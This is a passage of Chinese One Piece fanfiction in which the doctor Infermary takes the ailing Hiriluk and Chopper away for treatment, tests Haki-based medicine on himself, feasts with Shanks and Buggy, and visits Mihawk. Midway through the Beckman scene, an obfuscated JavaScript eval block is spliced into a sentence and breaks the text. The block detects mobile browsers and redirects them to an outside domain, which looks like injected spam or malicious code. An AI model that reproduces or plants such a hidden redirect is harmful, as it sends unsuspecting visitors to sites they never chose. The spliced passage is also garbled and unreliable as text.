他们仍然没说什么好久不见这类的话,也没提之前他昏迷不醒时他去见过他,他蹲下身子跟小驯鹿打了个招呼,吐槽希鲁鲁克还是爱起一些什么“托尼托尼”这样的名字,然后在庸医先生抗议说当年给他“波比波比”的名字明明也很好嘛的大叫声里对他吐吐舌头——就这样恢复到从前。 “您真的找了个真正的儿子啊,蛮可爱的嘛。” 小乔巴当然知道茵弗玛利是谁,毕竟他睡觉的床边有那么多的报纸,医生也没少讲他的故事。不过儿子什么的...他有点害羞地扭着身体。被揉揉脸颊后反应过来对方真的不怕他。 “我为什么要怕您?” “因为...我是蓝鼻子的怪物。” 希鲁鲁克打断乔巴,再次告诉这孩子不要这么想,然后给茵弗讲了这个因为吃了人人果实而遭遇不少不幸的可怜小驯鹿。 茵弗吃着桌子上的烤松子,啧啧感叹:“走出去就好了,去了奥比塔拉的医生们可是跟什么长手族鱼人族都是同事的。” 他刮刮乔巴的小鼻子:“蓝鼻子不是挺好的?我弟弟是红鼻子,我超喜欢。” 至于怪物嘛...能变身多帅啊,晚点带他去见路飞他们他们能喜欢死。不过这孩子身上还带着伤,不太能玩闹。一看就是希鲁鲁克在治,恢复得也太慢。 提到这个话题,他跟希鲁鲁克聊了聊瓦波尔的事情,在对方无奈叹气时安慰道,“我打算给爱管这种事情的朋友打个电话虫,这儿的人得自己迈出那一步,要不然您天天放樱花也没有用。” 希鲁鲁克看着面前这个截然不同的孩子,对他的成长感到欣慰与心酸。茵弗正要再摸一颗松子,就被突然甩着眼泪扑上来的男人吓一跳,他下意识握住他的一只手腕避免鼻涕被蹭在自己脸上,然后—— 隐藏在水潭下的弗雷凡斯,倒计时的班奇娜,还有罗杰的深渊。 嘀嗒、嘀嗒、他睁大了眼睛。 不、别再来了。 耳中轰鸣作响的是奔流血液裹挟的心跳如鼓,他没注意到自己久违地恐慌症发作,直到希鲁鲁克拉开他的手,一开一合的嘴原来是在告诉他要呼吸。 最多一年、不、不到一年,到那时就完全来不及了。他现在还来得及吗?希鲁鲁克知道吗?他为什么不去找他? “......跟我回奥比塔拉!!” “哇啊!怎么突然大叫...!” 乔巴不明白发生了什么,他有些害怕地缩在床头看两个人突然就开始吵架。游医哥哥茵弗玛利抓着医生的领子,医生也有些慌张地拽着他的袖子。生病...绝症会复发...医生生病了吗? “我的研究...!” “啧、我当年不是给您留了纸条吗,一点用都没有?” “啊...有的!你没看我换了新的器材吗?但是后面...我快完成了!” 茵弗咬着牙,狠狠把他推到一边。 “茵、茵弗...” “别叫我!!!” 他哐地一声砸上门,走到磁鼓岛的风雪之中。 脚底的积雪嘎吱作响,忘记戴围巾,风带着雪沫往领子里钻,就像是它们也要取暖。周围太白了,不过他知道那白是什么——是光,是钟鸣后的余韵。 冬岛需要一场樱花,来给它温暖。夏岛是否也需要一场雪,来给它清凉。秋岛呢?春岛呢?铁桶王国病的不轻,医疗大国却只剩下一个三脚猫医生在努力寻找良药,即使他快死了。 茵弗没有选某一个方向走,也没有留意自己走了多久。脑海里的雾气弥漫,和周围白茫茫的雪搅在一起,连同他一并融化在空气里。 有个模糊的影子在雾中飘浮,他伸出手,摸到冰冷的石碑。抖抖结了霜的睫毛,眼神重新聚焦,他与米森的墓碑面对面。 手指摩挲过那比起名字,更像代号的词语,他动作轻柔如抚摸温暖红润的脸颊,不想打扰沉睡的梦。 他站起身,后退一步,目光扫过小小的墓地和石碑,大概希鲁鲁克有来打理?或者是墓园负责人。不过墓碑前的野花肯定是希鲁鲁克放的,用石头压着。 很冷,腿很疼,不过他还是缓缓地跪坐下来,像她那样挺直脊背。轻轻地打了个招呼之后沉默半晌,视线再次飘向那几朵野花。 “...他都来跟你说什么呢,米森?他就是个笨蛋,对吧?虽然你当年就总是跟我说别那么失礼地讲话,明明他帮我偷走你的。” 他摸出怀里的长杆烟斗,泡泡水肯定冻上了,不过他也没打算吹泡泡。拆下头钵替换新的,换上猫蝮蛇送给他的自植烟草,用贝克曼那声音好听的打火机点燃。 “...但是你不生他的气,不生我的气。” 咬上烟嘴,茵弗吸了一口烟,没有过肺,热烫的烟气被他用舌头裹着含在嘴里,直到他轻轻呼出,让它随风散去。 没有吸第二口,他是医生,对吸烟这种事情没什么兴趣,他只是需要一点暖和的东西。猫蝮蛇的烟草大概是不错的吧,也许剩下的他可以送给喜欢烟的朋友。 “...我交了很多朋友,学到很多东西。” 好的坏的,没有正确答案的;爱与被爱,只是不在乎的。 “也许有一天你能见见他们。” 茵弗试着伸出手,看看飘散的烟气是否有热度。如果他将手放在火炉里,是否还会流血?雷利大概又会让他别发疯,然后用握惯剑与酒的手给他上药吧,或者是露玖,或者是咔哒咔哒按秒表的罗。 “谢谢你爱我,姐姐。” 他勾起嘴角,露出一点牙,再像记忆里的女孩那样眯起眼睛。 【此处长眠,米森玛丽】 “我宽恕了。” 所以,他将重现那年的事情。疯就疯吧,一个胆小鬼的勇气中总会有一点疯狂破茧而出,这才是他杰里。 他要偷走希鲁鲁克。 不过这次没用迷药,在小乔巴惊恐的眼神和大叫里,茵弗回到树屋,在礼帽男人开口呼唤他的一刻用手杖把他狠狠敲晕。他转向可爱的小驯鹿,邀请他做自己的共犯,就像当年他父亲一样。 在小托尼努力地收拾行李,时不时担心地看一眼被捆起来丢在一边的希鲁鲁克时,茵弗装走了那熟悉的实验台上所有的器具和笔记,给带着孩子们在村镇里闲逛等他的甚平去了电话虫,拜托他带着他们来帮他搬东西。 路飞他们果然很喜欢乔巴,尤其是在那孩子变成人形态好拿书架上最高的医书时。不过在小橡胶人扑上去之前他绊倒了他,乔巴身上还带伤呢。笨蛋希鲁鲁克,让他来最多三个月就治好了。 滞留鲸留在磁鼓岛,他带着他的战利品回奥比塔拉。虽然没能完成“下次回来就看满国樱花”的约定,但是他也看到了。希鲁鲁克弄了个海贼旗,他把那个飘着樱花的骷髅旗帜插在了鲸鱼船旁边的港口,给风雪染色,告诉船上需要在这里留守的护卫士兵们谁来都不许折。 离希鲁鲁克的绝症彻底复发还有不到一年,半年多吧,他不知道来不来得及。将醒过来的人再次打晕,希望孩子们不要学他这种作风。 给库蕾哈留了封信,如果她找过来看到快被搬空的希鲁鲁克家至少知道他遭贼了——他养大的贼。 把快病死的人捆到波比上的医务室床上,再温柔地拉过一张病床把乔巴抱上去。他先给他的治疗写了一份医案,挂在床尾交给手下随行的助手。再三叮嘱路飞他们乔巴身体恢复前不要像他们平时那种“玩闹”风格去跟他玩,他先去给龙打了个电话虫。 “铁桶王国竟然如此吗...我知道了。” “加盟国是有点麻烦,不过那边的栗子头护卫长、好像叫多尔顿先生吧,可以和他接触一下。您们在幕后,让他组织就好。” 王国内部的事情世界政府不会管的。 “你还需要什么?” “我有个棘手的病人,请寄一小瓶伊万女士的治愈荷尔蒙到奥比塔拉的暗港。” 噗噜噗噜噗噜噗噜、 “呋呋呋什么事,医生?” “想您们了,快回来快回来快回来。回来之前去格林比特那找曼雪莉公主献点血,带些治愈蒲公英回来,就说我下次请她去空岛玩。” 噗噜噗噜噗噜噗噜、 吵吵嚷嚷的,大概是希鲁鲁克醒了。没关系,他们已经出航到海上,当年也是这样。茵弗拉过自己吃了手术果实的好学生,让他去用他那个“受你启发”琢磨出来的扫描能力诊断试试看。 “又没说不让您继续研究,器具我都带着了,我那还有更好的随便您用,还有科研人员随您交流。” 希鲁鲁克大声说他知道了知道了你这个绑架犯,快点把他松开,束缚带勒得太紧。乔巴还是觉得这个游医哥哥太可怕了,明明一脸笑眯眯的样子,出门之前说了句“您研究樱花,我研究您”,把医生脸都吓白了。 罗大概知道那个陌生人肯定病得很严重,要不然茵弗玛利不会这个样子。不过他用能力扫描好像还是不太行,确实身体里有休眠的病变组织,但是具体是什么,会造成什么他还是判断不出来,也无从下手。 “没关系,毕竟您是''观察''我是直接能''听''到,您能开发出这个技能我已经很惊喜了。果然果实强不强还是要看人的。”他带着和自己已经差不多高的学生去他的工作室,忽略罗嫌弃屋子太乱没地方下脚的声音,“以后您的这个技能还会成长,不过现在,老师我啊又要和时间赛跑了。” 茵弗伸出手臂,示意罗用能力把它切下来。斑点帽青年觉得自己同意帮他实验还是有点草率了。他眼睁睁地看着茵弗玛利有点费劲地把自己从身体上剥离的肢体捆在实验台上,然后不知道从哪翻出来个标着毒素标签的小瓶子,用针管打了进去。 “嘶——好凉...虽然知道切下来之后还是有感觉的但是...哇痛...不愧是我。” “你干嘛呢!” “我要看看我这么多年的霸气修炼究竟有没有效果。” 变强什么的都是次要,主要是... “糟了,我听不见自己的声音啊。” “你是白痴吗...” “真失礼,ROOM来一个我就原谅您。” 罗无可奈何地再次扫描,努力试着分辨毒素入侵到了哪里。茵弗将另一只手覆盖上武装色,对着罗指点的地方狠狠一弹。 “怎么样...啊痛!” “破坏是破坏掉了...但是霸气再怎么精准也没有那么精准吧,连着附近也一起破坏了。你要是想全这么清除这胳膊也别要了。” 茵弗点点头,从柜子上拿出解毒剂打进去清处理余毒。病不是毒,所以知道可行就好。胳膊再次回到身上后他乖乖地支着胳膊等罗给他处理内出血。 “内部破坏、流动、加上''不杀''的柔,在别人身上我能更精准一些。”他摸了摸罗耳垂上的金色耳饰,“我不会经常用,确实再怎么精准也没有那么精准。不过如果祂连成一片,我就可以通过这个方法换来很多时间。” 破坏范围太大的话,可以用蒲公英修补急性损伤。它会先修复最“危急”的东西,比如之前他死了,那么它优先还原的就是他还能拉回来的性命,其他的就做不到了。 罗叹了口气:“果然''霸气强不强还是要看人的啊'',医生当家。” 武装色,见闻色,他学它们的初衷都是为了行医。所以也许吧,会试着用霸气去作为医疗手段的大概也只有他,换一个没有他能力的人也做不到。 他靠在椅子上发了会呆,身旁的学生像猫一样伸了个懒腰:“给我讲讲你听到什么了吧,我不急着出海,会帮你的。” 前来帮忙的人有很多。 被他叫来的,自愿前来的,星星点点汇聚,总能照亮一点夜空,群星好似萤火虫。 奥比塔拉的顶尖医生们有了新的研究课题,沃尔夫多了一个有些笨拙的新同事,跟着爸爸一起来拜访救了妈妈的人的波尼认识了新玩伴,萨博也认识了他未来的搭档克尔拉。 “所以您们结婚了没啊。” “结婚啦,玛利仔!熊仔先求婚的呢!” 茵弗哇哦一声,看向脸红红地被一脸幸福的爱人抓起手炫耀戒指的高大先生。隔着电话虫他们都跟他道谢过无数遍了,听得他耳朵都要起茧。所以他这次也快速摆摆手,迫不及待地拉他们坐下聊八卦。 “我、我们还没举行婚礼...” “等革命结束,然后玛利仔来当牧师嘻嘻!” 茵弗眼睛弯弯,点了点头。金妮现在不能在前线了,之前天龙人在她身上不知道做了什么实验,不止影响了她的孕期,也留下一些后遗症。她现在在军队里负责教习,照看波尼。革命军逐渐有不少曾经同为天龙人奴隶的人加入,也从她那里知道了他的事。克尔拉就是前来拜访的小代表,送了他一束花。 粉色的,像金妮和波尼的头发。 他们的谈话被打断,珊米替他拿来了医生们目前假定的研究方案。在药物中混入微量荷尔蒙是他之前在杰尔玛的时候研究过的,直接注入通过破坏细胞迅速再生来治疗会是一个很痛苦的过程,毕竟他最初版的药膏就有点这个意味在,熬不熬的下来另说,对生命力的损耗极大。能浓缩成一瓶液体的激素物质纯度实在是太高,过于强效,所以能用微量来配合药物就好。 药物、手术、治疗、剔除。 加上一点点治愈果实的蒲公英配合。希鲁鲁克已经是个老头子了,还好现在没爆发,爆发了大概它的优先级会直接把他寿命扣没。 大熊听说他有病人后亲自来送荷尔蒙,想看看能不能帮上忙,让他有些意外,不过也给了他更多的思路。没有爆发的绝症也是绝症,他不能一下子把全部的疾病弹出来转移,没人能承接得了那么多的伤痛。 但是绳锯木断、水滴石穿、他要用锉刀磨断山峦。所以他感谢了他,告诉他他需要时,会叫他再来。 他会让希鲁鲁克活下去,直到那个庸医能亲眼看到因为他,终日寒冬拥抱春天。 - 猫蝮蛇的烟草被他送给了贝克曼,他眼睛一眨不眨地盯着这个男人卷烟。直到火星燃起,一口灰被呼到他脸上,他才收回前倾的身子撇撇嘴。 “不错。” “必然,佐乌的双王之一亲手种的。” 茵弗把装满烟草的盒子推给他,他很少有机会看人卷烟,但是他很喜欢,偶尔雷利这么做的时候他也爱看。总感觉跟只是吸烟比起来,这个动作有一种很人性的味道在里面。 “谢谢。” “不客气,先生。” “什么先生?” “给我五亿贝利我就告诉您。” “没钱,都让你弟弟开宴会了。” “难怪您愁得都开始长白头发了,我可以帮您问问雷利先生当年是如何保养他的金发的,海贼王副手的秘诀,八亿贝利。” 贝克曼笑笑,问他怎么比昵称价格还高。茵弗对着远处打闹的香克斯和巴基招手,回答因为漂亮头发更重要一点吧。 对面的人用手指捋过自己的头发:“你还是''不喜欢我''?” 茵弗仔细地看着他:“哪有,您不是黑头发肯定也很帅。” 他突然起身绕过隔开他们的餐盘和酒瓶,在长发男人惊讶的神色里,茵弗像蛇一样慢慢用腿缠住他,面对面两只手搭在他肩上,一边开口一边缓缓游走到他脖子上虚握,逐渐加大力气。 “我们第一次见面,您给我的感觉就像一只猫头鹰,一条...伺机而动的灰蛇,就像这样。” 一直都在观察着、观察着,无声无息——审视,评估,打量,判断。他自信于自己的能力和魅力,被他盯上的人要么会成为瞬间被咬死,或者利爪刺穿的猎物,要么会在不知不觉中被盘绕住,直到被绞死的一刻。想了解的,想得到的,他都知道自己会拿到手里。 而被挤烂皮囊的兽是否会成为他的盘中餐都是未知,因为他的自信。 “您太聪明了。” 贝克曼的灰眸扫过金色,红色,完美的笑容。对方扼在他脖子上的手收回,抚摸过他的视线移动所向——耳垂。 茵弗玩了一下那颗珍珠。朴素温润,圆润无害,传达的信息是...高贵。他嘴角弧度更上扬些许,起身回到自己的位置。香克斯和巴基他俩终于闹完了,端着酒和盘子走过来。 “本乡先生他们都不在意我叫他们什么,您为什么这么在意?就因为我当时拒绝了您吗?” 他低头往自己的酒杯里兑果汁,没在意贝克曼的神色。反正他也知道,肯定就是打量,观察,审视。他们认识这十多年,虽然见面次数相较而言不算多,相处时间不算长,但是贝克曼一直都是这样的,他对谁都是这样,只不过在自己身上持续的时间比较久吧。 其实后来不送他昵称也有一些顽劣的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15081967|154812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心思在,他一开始真的不在乎,也确实没怎么想要成为聪明自信男的兴趣目标,没想到后来二人会有这么多交集,从“香克斯的副船长”变成“贝克曼”。 所以如果根据贝克曼观察的结果【让他喜欢到一定程度或者好奇】那这条灰蛇早就满足了——毕竟他到现在也弄不太明白这个家伙到底为什么需要他的昵称,或者说是想要?他是不是真的在乎他也不知道。 喝下变得甜甜的酒精,茵弗点头咂嘴,再来点气泡就更好了——不过既然这次对方挑明地问了,那他就回答。 “我一直感谢您们,我喜欢您,喜欢红发海贼团的大家,所以别纠结了,贝克先生。” 贝克曼笑笑,没回话。 香克斯走过来在茵弗身边坐下,将手中的酒瓶放在沙滩上,独臂揽过他。 “在和贝克聊什么,茵弗?刚刚我们看到你都坐他身上去了,巴基还说你肯定是想谋杀我的副船长呢。” 茵弗贴贴他的脸:“聊昵称,我哪敢杀四皇的副手啊,就是给他生动地形容一下我的感观。” 香克斯哦了一声:“又晕乎了吗?” 茵弗:“诶?有吗?有可能诶。” 香克斯现在是新四皇,打破了旧三皇的格局。以后见面可能更困难一些,所以在正式驻扎新世界前来见他一面。茵弗叫上了巴基,在无人岛的沙滩上开宴会也算是某种海贼标配。 巴基和香克斯见面一定要吵架,打架,然后一左一右地被他牵在手里。不过现在要吃东西,所以他只是拉着他们的手贴贴额头,放松这几个月来紧绷的神经后便松开了。 “你看到我的通缉令了吗?” “当然,你们每次通缉令更新我都会收藏,拍得很好看。” 香克斯和巴基都成熟很多,青涩的少年感褪去,尤其是高高壮壮的香克斯,不好好扣严的衬衫露出漂亮的锁骨和结实的胸膛,披着黑色披风十分有魄力。巴基脸上的棱角也变得硬朗,还是像从前一样,比起香克斯他是灵活的类型,所以肌肉线条流畅,他的船长披风也更加艳丽,更像是罗杰当年的款式,肩上有漂亮的流苏。 茵弗满意地坐在自己帅气的弟弟们中间,海风吹乱他刘海里的碎发。 他接过巴基递过来的烤串,很挑食地先吃掉了青椒:“巴基不弄个什么五皇当当?你最近势力发展得好大。” 巴基得意地挺挺胸膛,“那是本大爷的魅力,一群小弟要追随巴基大爷。”他喝一口朗姆酒,“海上皇帝嘛...如果我想的话那不是早晚的事儿?弄个大事件出来,那群白袍子肯定就坐不住了。” 哇,自信的巴基,好喜欢。 香克斯指指蹲在森林边的大鸟,问他那是哪来的。茵弗也得意抬下巴,告诉他是家里驯鹿小孩给他弄的。为了给希鲁鲁克治病,他去了南海的鸟之国寻找草药。那里医疗水平也很高,科技发展得很奇怪。这次因为带乔巴去,他可以和动物交流的原因,解决了居民和当地的巨鸟之间的矛盾。茵弗雇佣了一批人员,一群大鸟,全都定居奥比塔拉。 “它有名字吗?” “有,不过不是我起的,因为人家自己有名字。” “叫什么。” 茵弗试着用人类的喉咙发出一声鸟叫,香克斯哈哈大笑,远处的巨鸟嫌弃地别过头。巴基也笑着骂他白痴,说伊甸现在真是奇怪动物的聚集地。他有大型斗鱼,有大号锦鲤,有大蜗牛,现在又有巨鸟。 香克斯:“我的一个朋友现在住的地方也有奇怪的狒狒,会用武器的。” 茵弗:“哇,这么厉害?” 香克斯:“带你去米霍克那看看?” 茵弗:“鹰眼?” 香克斯点头。 他们的说话声被烟花的炸响淹没。明明太阳才落山,天空还是深蓝与黑交接的时刻。一群已经喝开了的人唱歌跳舞,在篝火边被熏得发烫。利基和耶索普勾肩搭背,抛弃自己的伙伴摩奇,也是挺好玩的。海贼就是这样乱七八糟,无所拘束。茵弗十指交握,闭上眼,微微仰头对着头顶层叠的色彩许愿。 “你许了什么愿?” “米霍克先生会同意我捉弄他的狒狒。” 香克斯咧嘴笑笑,偏头支着脸颊看身旁的人。明明暗暗的彩色好像顺着对方深色的皮肤流淌,滑过鼻尖,脸颊,掉到衣襟里。 另一侧的巴基也在看他,然后视线转向天空,也学着他的样子双手合十,微微闭眼。不过很快就睁开了,然后像没发生过一样继续吃肉喝酒。 茵弗也结束他的许愿,开始给喝完的酒杯里再次兑不同的酒和果汁,嘀咕果然吃烤肉还是清爽一点的饮料会更好。他口味还是像个小孩子一样,比起啤酒烈酒更喜欢鸡尾酒,牛奶这类的。他注意到自己的眼神,偏过头挑眉问他看他干嘛。 “你怎么不穿和之国的婚纱了?” “咳咳咳!咳咳!” 茵弗给突然呛到的巴基顺着背,随便回了句因为今天早起有起床气,不想穿。他本来也不是天天穿,羽织倒是当外套穿得比较多,套头卫衣还是方便,尤其是忙的时候。巴基惊讶地问什么婚纱,香克斯说他有照片要不要看。 应该算得上是宴会主角的三人在贝克曼无奈的目光下偷偷离席,溜回已经扩张成双桅帆的雷德福斯上。他们跑到香克斯房间里,从抽屉里翻出来两张照片,他的摄影技术意外不错,一张偷拍一张摆拍,各有各的韵味。 他又顺便拿出几张别的照片塞给茵弗,说是他后来冒险途中拍的,送给他当礼物。茵弗当然喜欢的要死,三个人蹲成一圈,他看手里的各式风景照,另外两人摸着下巴对他穿和服的照片指指点点。 香克斯:“好看吧。” 巴基:“确实。” 茵弗:“白无垢的设计就是比别的款式更繁复些呢,毕竟比较特别。” 他们又顺便看起香克斯收集的一些小玩意。茵弗也从他不知道到底有多大的卫衣口袋里摸出来一堆漂亮的小垃圾,巴基从船长披风里掏出来一把风格迥异的首饰珠宝。 “哇~有獠牙的面具!” “他们参加祭祀用的呢,这是当时我们混进去的时候我偷的哈哈,喜欢吗?送给你。” “这是什么?” “这是废墟里捡来的未知武士刀穗,可能是在战斗中遗失,可能是太多年它自己断掉了,上面的玉碎了一半呢。喜欢吗?送给你?” “这个臂环好帅啊!” “哼哼,这可是狮鹫图腾的雕花,镶的红宝石品质超绝。你要吗?跟你那蠢头发还挺搭的。” 叮里当啷,三人的物件交换。他们讲着每个物品背后的故事,他们所经历的冒险。三条细线,交叉前行又再次汇合,相聚后又再次分别,如此缠绕往复,编成一根绳子。 外面的宴会仍隐隐传来歌声,屋里的三人已经聊着聊着被茵弗拉着挤到香克斯新船长室里的大床上。 坐着变成了靠着,靠着变成躺下,直到中间的人气息安宁,淡金色的睫毛盖住眼睑。 “睡着了啊。” “啊。” 一红一蓝安静了一会儿,静静听着平稳的呼吸。 “你今天要在这儿睡吗,巴基?” “不在这儿睡不行了吧,这家伙睡着牵手还跟个螃蟹一样钳着。我总不能把手留在这里?” 香克斯笑笑,看巴基''把手留在这里'',起身借用他的卫生间去骂骂咧咧地卸妆。偶尔能听到抱怨一只手不方便你天天都是怎么做到的这样的话。 茵弗也紧紧抓着他,但他还是努力挪动,把他们的位置再移到床上一点。虽然他的床是换了大的,不过三个人的话还是会有点拘束,横着躺长度也不太够。 牵着他的人迷糊地在他挪动时醒了,然后在他轻声的指导下乖乖踢掉鞋子,缩到床上继续睡觉。大概是喝了很多酒的原因?虽然他兑了一堆果汁,不过香克斯弄来的好酒度数很高。 等巴基回来之后他已经又睡着了,倒是没有之前那么拉着他们,但是松开的手早已被二人反握住,直到真的熄灯准备休息后才默契放开,巴基也没有回自己的船上,只是挤挤挨挨地找更舒服的姿势。 “挤死了。” “这比当年把两个吊床拼在一起好吧。至少他不会睡着睡着从中间掉下去。” “掉下去...?” “嘘...睡吧茵弗,你不会掉下去的。” 门口有脚步声走过,停顿又离开,大概是有船员见他们一直不回去来找,注意到他们休息后便离开了。 宁静的空气被红红的鼻子里发出的长长气息搅动,巴基低声开口,语气认真: “喂,香克斯———” 茵弗睡着了,他没听见他们二人在这深夜里长聊了什么。他被酒与火药的温暖包围着,无梦。 80.樱花 人称世界第一大剑豪的乔拉可尔·米霍克在再一次出行后回到自己近两年的居住地克拉伊伽那岛时,还没靠岸便知道自己有来访者。 首先、岸边长相奇特,背着鞍具的大鸟。再者,岛屿上狒狒们的吵闹。他拴好自己的小船,展开见闻色时探查到熟悉和陌生的气息,向来源处走去。 “红发—” “就是您这家伙啊!” “哈哈哈哈茵弗,什么''您''''这家伙''啊哈哈哈!” 狒狒们看起来是被打败后的样子,深色皮肤的白衣人、奇迹游医,正一手抓着狒狒王,一手的手杖指向他,其上覆盖的武装色闪过一丝白光。 他挑挑眉,感受到了对方的战意,没有回话,反手抽出自己的黑刀,也想试试被红发念叨着''厉害''''很强''的人的水平。他率先发出斩击,绿色的剑气在抵达对方面前时被流动的霸气挡住弹开。烟尘四起,狒狒们惊吓地逃窜,只有一旁还坐在断树枝干上的红发在大笑,看他们过招。 确实很强,可惜不是剑客。 片刻后,米霍克有些可惜地收势,短暂的切磋随着黑刀的再次收起点到即止。 “乔拉可尔·米霍克。” “啊,茵弗玛利。” 奇迹游医用手捋了一把杂乱的刘海,继续道,“失礼了,不过我弟弟丢了一只手就丢了一只手呗,怎么就让您嫌弃了?”他跑到咧嘴笑着的红发身边把他一把拽起拉过来,像展示什么藏品一样左拍拍右拍拍,还指指他脸上的笑容,“您看看,这强壮的体格!啊虽然酒喝的太多我还是很担心他的肝脏...不过您看看!这阳光霸气的四皇笑容!” “来,香克斯!把格里芬拔出来!抬高点!另一只手...啊没有另一只手了...这只脚来!踩在这个石头上!” 奇迹游医就像摆娃娃一样摆着红发,满意之后拍着手夸了句很帅,随便指了个方向让他来一个神避,给米霍克先生好好看看。 鹰眼无语地打断了他们说不必:“我并不看低你弟弟的实力,不过他不是''丢了一只手臂'',他丢了惯用手。” 他想要与之切磋的是巅峰的红发,即使现在二人再战斗又能如何呢?他不会输,但是不会满足。这世界无趣的事情太多,何必多加一个。 “不过我还是第一次知道你是他哥哥。” 奇迹游医点头,“啊原来如此,是香克斯和我委屈说他没了一只手之后您不理他了,不过我也可以理解一些高手奇怪的坚持...”他低头揉了一下自己的左腿后再次道,“他没跟您提过我吧,不过确实是这样,所以您也大概能理解我做哥哥的当然要罩着弟弟。” 米霍克摇摇头,向自己的城堡走去,身旁的二人跟了上来:“他提过很多次,只是没说你是哥哥,我不理他主要还是你弟弟那麻烦的性格让人疲累。” 茵弗玛利大惊,扭头看向香克斯:“你现在都不介绍我是哥哥了吗!当时跟船员们不是还...啊这么一想我这些年不算这次听你们叫哥哥的次数真是屈指可数...” 香克斯挠挠脸,想着怎么把这事儿糊弄过去,又摆出狗狗眼看向他:“米霍克还是嫌弃我嘛~哥哥,我就想和好朋友开开宴会,怎么就麻烦了对吧?” 果然,白衣的人搂过他亲亲,哼唧对对对,转头又开始跟米霍克絮叨香克斯多可爱啊从小就是个小太阳的样子嘛,您就让让他吧没事儿跟他喝一杯酒再赶走什么的要不然他多孤独呀。 米霍克不用看都知道红发脸上肯定挂着一副得意狡猾的笑脸。 黏在鹰眼身后不请自来地进入那个大城堡,在对方询问奇迹游医来找他何事时茵弗摆摆手,请他换个随意点的称呼,然后突然想起自己带的礼物还在刚刚的地方,又跑回去取。 香克斯友好地拍拍严肃男人的肩膀,笑嘻嘻地说茵弗就是来拜访一下,他想看看你岛上的狒狒。 米霍克嫌弃地移开胳膊,走向室内。狒狒又不是他的,不过用来当护卫给他省了不少麻烦。奇迹游医带来的礼物倒是蛮合他的口味。大概是提前了解过他的喜好,脱离了哥哥咒语一样的东西之后也正常不少。 “这是我在堂吉诃德宅邸那要到的好酒,火烈鸟先生可喜欢葡萄酒了。” 茵弗喝不太出来区别,不过听香克斯的描述,大概他会喜欢吧。他将其中一瓶递过去,又拿出一大盒茶叶。 “不知道您的口味,不过这个是红茶基底,因为您是剑客,所以我选了宁神静气的。” 最后在捏住鼻子的香克斯的视线里,他从篮子里取出四分之一轮包好的奶酪,打开一点示意了一下上面露出的一些混合物。 “格洛斯特干酪,但是被我改良,熟成时加的是一些草药,风味比较复杂,很好融化,配土豆这类的很好吃哦,也对身体好。” 他将礼物都交出去,用蹭过奶酪的手指笑眯眯地捏捏香克斯的鼻梁,他不太喜欢味道重的奶酪,茵弗带他去挑选的时候就一直捏着鼻子。 可爱。 米霍克优雅地坐在他们对面,看过红酒白酒的标签点点头,打开茶叶盒子看看也点点头,对着干酪独特的香气更是满意点头。 “品质很好,多谢。” “您不必客气。” 茵弗视线扫过城堡里的布置,也点点头。是个喜好典雅风格的人,而且居住的范围都打理得颇有生活气,意外的细腻呢。选送奶酪真是个好主意,回去夸夸罗西南迪。他也挺喜欢这种风格的,让他想起阿曼德,那位优雅的蛇首混血给自己搭配的那套衣服也很像米霍克会穿的感觉。 “您岛上的狒狒很有趣,被我打败之后就开始模仿我砸人的动作,也有一些智慧,至少明白贿赂。” 收了礼物的黑发男人取来红酒招待客人,至于茵弗玛利送的他打算配晚餐,一边醒酒一边回答道:“它们是''人类模仿者'',自然会模仿你。” 如果在很有礼貌的人们周围成长,他们就会变得很有礼貌。相反的,如果在暴力的人们周围成长,就会变的非常凶暴,甚至学会如何运用武器。克拉伊伽那岛的战争也就是前年的事情,现在岛上已经空无一人了。只剩下学会战争的狒狒,还有来到此处定居的大剑豪。 “这样啊...” 茵弗拿着红酒杯在手里转着,稍微沉思了一会儿。不愧是猿猴类,人性的雏形真是相像。 他礼貌拒绝了米霍克在他喝完小半杯酒时要再给他添的动作,他其实没那么喜欢葡萄酒。 “不知道是一种行为模仿完全替代另一种还是什么...有点想研究一下啊...可以使用工具,知道趋利避害...某种意义上来说他们已经算得上是人?” 米霍克也拒绝了香克斯要给他自己添酒的动作,将酒瓶放到自己手边。香克斯撇撇嘴,揽过茵弗问他是要留在这边一阵子吗?茵弗看向现在的岛屿主人,询问他是否会打扰。 香克斯:“不打扰啦,对吧鹰眼!反正他城堡这么大嘛。” 米霍克视线扫过他们:“...你也要呆在这儿?” 香克斯摇头:“等贝克他们来接我我就走了。” 米霍克:“不打扰。” 他的城堡的确很大,他一个人只是占据一部分而已,剩下还是荒芜着。奇迹游医要在这儿做研究跟他没关系,自己去随便收拾个空房间有个住的地方应该就行。 茵弗:“谢谢您,但我得先回奥比塔拉,那边有我的一个病人现在到治疗的关键期了,之后再带礼物来叨扰。” 米霍克无所谓地耸了下肩膀。 香克斯:“哇,是说如果我也要呆在这儿就会很打扰吗!” 茵弗:“你要是像现在这样缠着人家要喝酒大概会觉得困扰吧?” 香克斯:“可是我也想陪你嘛哥哥、” 锐利的金眸看着一下子被扭了个什么眼盲开关一样的人转向他:“就让香克斯也留下吧!” 米霍克冷漠喝酒:“不行。麻烦。” “我弟弟哪里麻烦!”刚才还平静敏锐的人又变成了他们刚见面时张牙舞爪的猫样子。 红发果然脸上一副逗人玩的笑容,大剑豪对着他翻了个白眼。进入被骗的哥哥模式的奇迹游医也有点麻烦。他不想搭理这对笨蛋兄弟,还不如思考一下晚上用他收到的礼物做什么晚餐。 自己的礼物被对方很喜欢,想要用新鲜的食材来搭配的尊重与认真当然让茵弗很高兴,而且鹰眼自己种菜是今天知道的八卦之首。 古堡贵族大剑豪,草帽一戴就变成职业农夫。对品质的一种追求?减少需要出去采买物资的麻烦这类?确实这样的话新鲜程度很有保障。''蔬菜在被采摘后的每一秒鲜度都在下降'',之前哲普有这样教导山治。 他送的奶酪质地细腻,风味独特,可以吃的方式有很多。米霍克也用了些他自己在外面购回的奶酪搭配着对比品鉴。 香克斯捂着鼻子不能理解。 “下次我给您带一些蔓越莓风味的干酪怎么样,如果做奶酪拼盘的话很合适哦,酸度会被中和,回味很好。” “多谢。” 